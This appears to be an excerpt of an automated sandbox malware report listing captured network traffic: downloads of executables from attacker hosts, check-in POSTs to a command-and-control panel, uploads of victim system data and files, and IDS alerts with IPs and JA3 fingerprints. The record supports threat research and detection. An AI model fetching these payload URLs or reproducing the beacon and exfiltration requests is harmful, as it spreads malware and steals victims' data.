Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 13:11:13 GMTContent-Type: application/octet-streamContent-Length: 4442112Last-Modified: Thu, 19 Dec 2024 13:07:25 GMTConnection: keep-aliveETag: "67641a8d-43c800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 50 b5 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 b5 00 00 04 00 00 dc 32 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3a b5 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 39 b5 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 38 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 67 67 73 62 74 72 6d 00 50 1b 00 00 f0 99 00 00 4e 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6d 63 70 70 63 6b 6c 00 10 00 00 00 40 b5 00 00 04 00 00 00 a2 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 b5 00 00 22 00 00 00 a6 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017608001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017609001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017610001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1Host: home.fivetk5vt.topAccept: /Content-Type: application/jsonContent-Length: 440429Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 31 33 38 33 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017611001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=vyt5WIFDmk1K7gm81734613844 HTTP/1.1Host: home.fivetk5vt.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017612001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017613001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 36 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017614001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5vt.topAccept: /Content-Length: 462Content-Type: multipart/form-data; boundary=------------------------BTwdbrBK9qDlqB2UJYfH3yData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 54 77 64 62 72 42 4b 39 71 44 6c 71 42 32 55 4a 59 66 48 33 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 6f 64 69 70 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 66 92 5d e1 65 c1 93 71 a2 20 e5 9a 4c 49 a9 11 ba 09 a0 29 09 4a 53 e5 10 54 28 ca a4 bb cd e7 e7 04 e1 cf ce 9b ae 25 99 43 7a cd 59 2d 92 d5 6c 99 0e 80 61 07 c7 54 c3 7b 8f af 06 c0 34 25 ef 8e 44 db 60 a3 c7 dc ea 59 16 35 e6 da 3f 79 c7 00 32 fe 37 68 4a a7 9f 35 1b 0d d3 d1 f4 70 50 dc 56 93 75 3c 38 af e5 b5 67 49 2f 68 bb e5 21 ec cd 9f b8 67 4d 7d b2 3b 5e 5f f9 18 93 c2 4c cc 67 63 fd eb c3 a1 60 f1 4b 72 2b 65 f5 b4 fc 54 e4 98 5f 2e a0 70 c7 de bb 7e e4 7a 23 1e 30 37 51 31 c4 cf 28 bb b8 e6 ef df da 26 2c 29 31 ef 3b 21 f0 4b 41 fd a3 64 23 b9 da b4 d3 c0 4b 51 80 e6 00 b2 88 ad 0c 5c 57 7a 7d e3 78 71 86 39 b0 2b eb a7 53 9f 63 79 6b 00 ba 15 97 dc 77 05 58 fe 6c 6b b5 51 13 73 54 3c 4a cb 04 47 ec 5a 8f 55 33 38 45 39 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 54 77 64 62 72 42 4b 39 71 44 6c 71 42 32 55 4a 59 66 48 33 79 2d 2d 0d 0a Data Ascii: --------------------------BTwdbrBK9qDlqB2UJYfH3yContent-Disposition: form-data; name="file"; filename="Modipo.bin"Content-Type: application/octet-streamf]eq LI)JST(%CzY-laT{4%D`Y5?y27hJ5pPVu<8gI/h!gM};^_Lgc`Kr+eT_.p~z#07Q1(&,)1;!KAd#KQ\Wz}xq9+ScykwXlkQsT<JGZU38E9--------------------------BTwdbrBK9qDlqB2UJYfH3y--
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5vt.topAccept: /Content-Length: 63431Content-Type: multipart/form-data; boundary=------------------------njp0kI44f2vexJ8rsUGMN5Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6e 6a 70 30 6b 49 34 34 66 32 76 65 78 4a 38 72 73 55 47 4d 4e 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4d 69 78 6f 67 6f 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 41 ce 19 9b ab 56 cf 42 81 b9 8f 83 5e ee ae d3 c3 b6 23 a9 ac 2d 41 63 f8 3e 68 07 48 ad ae c0 32 e5 4c 8a 1e 83 10 6b a7 c6 5e 8d 53 55 91 e1 64 94 9c 28 d0 40 eb 17 27 f0 86 cd 13 ad c4 73 77 45 30 49 d0 8d dd a0 7b bb 09 8a de b3 25 a9 a8 2b 7c 47 d6 e5 20 7e e8 36 40 a1 27 cc ed 9f a8 8d 17 0a b8 86 de bc ac ae 08 ea c5 69 ef f1 0c 75 9b f7 24 17 e7 df ba 91 86 f1 82 b7 1e dc b3 c7 92 ee b7 de f9 7e a6 1a 61 d3 4d 85 b7 90 5f ae 89 16 b8 37 f5 28 3d 8f 3b 3a 75 45 12 05 6e 10 8c 9a 2c 63 ae bb b8 c1 2b cf 50 dd c7 d7 39 d4 e5 5b 5f 84 73 cc 9d 8c 5f 85 26 1e 44 df 40 d2 ac f2 83 93 1d 78 80 d4 5a 33 6a 24 c3 3f 7e 9e 22 19 c0 27 1d 30 c0 7d 05 66 c6 b3 bc 46 d2 df e8 09 22 4c 3d e8 6f 83 ba 6c d7 fb 71 76 b6 db 85 36 7c 68 a5 4a c9 80 2e 2c 21 d6 3d dd d2 a7 42 1f dc de 9a 2a dd a7 2b 40 22 fa 75 17 df ce 81 de d4 30 7b 27 05 f0 de 01 25 4a 25 92 45 3d ce 02 8e 47 e6 9e fb d1 e8 17 91 82 55 c7 79 3e 54 97 c1 80 d0 1c dc 53 85 0d 45 38 60 a0 cf a1 d9 d7 a1 f3 19 90 e5 23 55 8a ab c3 26 41 04 6e 6f b4 42 8b 68 96 71 b6 ae 1b 9e 47 84 4b 64 3e 0f d7 02 c4 6c 45 23 c1 4d 98 95 c7 f1 5c 05 fc 12 c0 83 1b e7 93 51 54 cd d9 0f dd b3 18 ec 55 cc 4c bd 4c 03 4f f6 16 05 c5 f2 56 f3 26 0b 27 ec a4 f9 d0 ad 6f d5 29 fe 89 d4 6f c8 63 1a d7 e7 32 b1 88 31 9a 5d bd 7d 8c ef d6 28 02 70 4d 4c 2c da b8 23 af 86 a0 c7 7b 9a b2 b9 ed e7 5e 97 8e 0b d1 3b 54 79 d8 a1 24 d7 e9 df 8e 0c 91 37 ea 87 1b be 74 97 da 61 0d 19 e2 6e af 2f 7e 66 6a 7c 8d 08 b0 db 6f 97 bc f0 fb 5e 2e fd 2f fd d9 ea 43 c0 fe 01 5f 3b 78 2a a3 4e 8c 7a 24 5c 7e ea 10 b4 e7 3f 22 97 76 fa 8e e3 7c e4 e6 f7 bb 64 72 2d 70 4a 6e 6d 0b f7 59 aa 32 4d 4d 17 44 57 79 92 b1 cc 5a f3 3a e8 61 76 ee 5f 7f b3 09 3e 1f 1e f5 67 ee 93 f1 4f 55 32 d5 b5 85 ef 4d 91 35 c9 02 a6 3e 90 36 b4 4d 8f de f3 40 f5 80 74 ca 73 ab 1a ee e4 94 e3 5d 23 32 23 0c 56 a8 af c0 d4 72 8b e4 d2 b3 cb 3a 46 58 95 e3 28 24 ae 4e 89 4d fa e1 3c 6c 5f ca 7f 45 5b 15 3a 1d 85 62 8f 41 8a 98 8d 1b 91 23 1b c9 03 ba 40 46 52 a9 0f d2 0d 4e 16 96 e4 f1 74 00 c1 03 83 8d ca e9 b1 61 6c 8a b6 1c 9d 71 77 e0 55 34 84 40 fd c5 d5 e7 00 c2 b2 16 65 58 21 7e be 9d 7f 6a 9f ec 88 60 02 83 c1 c3 ae 5c 40 e3 61 20 39 1c 06 ca b8 6c 36 38 de 3d 79 57 cb 08 9c 6a bd 1e ec 75 94 a2 27 cb 79 75 0c f8 50 0b 61 06 a4 07 5a 3b 90 fa 21 db 0b 2d 52 c4 2c f7 fc 5c 32 d0 7e f1 e5 4a
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5vt.topAccept: /Content-Length: 27817Content-Type: multipart/form-data; boundary=------------------------IQcRWgDvGOOy0z1mHIdHylData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 49 51 63 52 57 67 44 76 47 4f 4f 79 30 7a 31 6d 48 49 64 48 79 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 61 6e 61 64 65 70 75 78 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 61 fc c9 54 8c cc 43 27 a0 ed b9 3d 14 63 b3 78 59 4f 33 cf 7c ba c4 bf 8a 2e 1b ec 0d 18 a6 4f 8e f0 86 32 5b fa 6f 6c 45 66 52 ee b6 25 f1 52 46 2c 81 a9 27 f8 0b 16 3f 83 0b 9f 41 e4 a0 ba c3 b3 73 9a 5d ed d0 2b c2 c3 c8 2e 7b ba 91 41 09 06 5f 90 65 af ca 05 92 2b 21 95 8f 7c d8 93 8a 18 96 c3 7e ec 0d 7d 39 58 5f a3 9a cf 64 d7 0a 50 f3 d8 5f d3 ce 15 f4 e0 87 6b 4c 88 ff c6 b6 e6 29 72 39 bd 3a c2 3c df 27 2a 3b 36 cf 0f 57 c7 dc 8c e9 0b f6 7e 39 ea 28 05 dd 22 ce 9a 92 6a 1f 07 45 41 73 85 c0 76 50 ae 50 79 78 f4 eb dc 68 e4 c6 02 a3 a4 73 62 7b ee 28 0e 7c a3 cf 6a e2 d2 e5 1e 4c 33 ab e8 82 f5 d8 d2 90 9a 33 a8 b2 10 68 0a ce 64 8a 13 1e 7c 87 7b c3 06 79 f4 fd 3d 71 3c 55 63 2a 9b e4 b1 4e 78 cc 01 e5 f1 b2 59 eb 30 44 bf 39 c2 e5 7b f9 77 5d ae ba 7f 33 fa fa 94 25 a4 cb 2c af 5e ea 0d e8 20 33 00 07 7d ee 48 42 97 57 2a 36 44 38 cb fc eb 2d c0 f1 7b 48 0c 65 1c fd 6d cc e8 28 37 5f 1d 4f 81 85 a8 86 84 3d 1d e4 9e 95 33 26 3b 77 ea 21 35 22 3b ee 01 86 0c ab d7 d5 aa 1a 64 ba dc 19 b0 b2 ba c7 a0 aa 18 04 1a 40 fa eb f7 2f 82 b1 c1 0a cd 5d f5 fb 95 87 d4 4e bb d1 61 e6 8d 8c 57 d3 f5 9b 53 3e 00 11 bd f3 b7 95 b8 ba 36 2c 42 85 c8 bb 88 94 51 56 61 43 40 51 b9 5c fc 9c 4c 19 a8 b6 4d ce dc 1c e7 ad 4c b3 a3 48 c5 2f 73 19 30 1a 77 5a aa d7 db eb 0a 43 d4 d9 3b fd f6 a2 11 2c a2 51 da ec c7 ca d9 74 41 43 37 1e 7e 60 28 ed a8 3b e7 2c 84 c6 0c bd 3d ef d3 69 ba cf 1c 37 cb f6 38 3c 27 6e de c0 8c 65 ae c7 0b 4e 25 72 50 fe c2 bc 2c 24 4e 7a 5c 69 4b 51 7a ff 05 01 8d 4f a5 5c 7e 77 ff d6 f7 17 6f a4 8f 57 f7 67 72 e3 a8 54 a3 ee e2 77 c3 62 82 27 3b 18 6b ac 0a 8f eb f3 e3 a8 d9 19 96 aa ee ef 27 78 1a b7 3d a2 55 45 91 01 d7 fc 0b 78 4f 15 64 32 08 fd b4 3c d1 09 75 6c 7f 07 cc e9 e1 2c 72 03 d7 20 d6 b1 fd ad 50 6b 63 9f 7d bb 1d 3d 19 95 5a c1 42 63 e3 92 ee 24 6d ff b2 4b d8 fe 62 dd 34 b2 52 e2 5f 58 b4 1b ab 45 b3 9e cf 87 b9 2a fb bb 7e 50 b9 8c 20 a6 b7 ca 4f 68 90 e9 65 a5 40 39 b3 b7 a8 98 38 5c f8 7e 43 1d 37 94 21 71 a7 7d 78 f5 fb 4c b4 7d 5b 26 76 5c aa 40 02 3c 2a 4f 00 54 43 5a 07 0f 96 2c 18 be 53 18 dd 66 c2 fe 51 8a 0b 3c 30 4d 9c 1f d0 da bb d0 cd f8 82 2d 8c 69 cc 41 37 3b 23 89 c2 2f 88 9e 77 d2 4f 65 87 30 7b 4d 94 35 01 09 16 73 c5 29 ba 37 46 e8 b9 62 73 c8 3a 7a 34 e2 dd d1 7b cb 06 ac 2c 90 05 bf a0 41 e4 58 d0 07 c8 c3 04 e6 a8 08 27 5c 0c
Source: global traffic	HTTP traffic detected: POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1Host: home.fivetk5vt.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 76 79 74 35 57 49 46 44 6d 6b 31 4b 37 67 6d 38 31 37 33 34 36 31 33 38 34 34 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "vyt5WIFDmk1K7gm81734613844", "data": "Done2" }

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 172.67.177.88 172.67.177.88

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49754 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49800 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49801 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49794 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49808 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49817 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49823 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49837 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49832 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49843 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49854 -> 172.67.177.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49859 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49873 -> 31.41.244.11:80
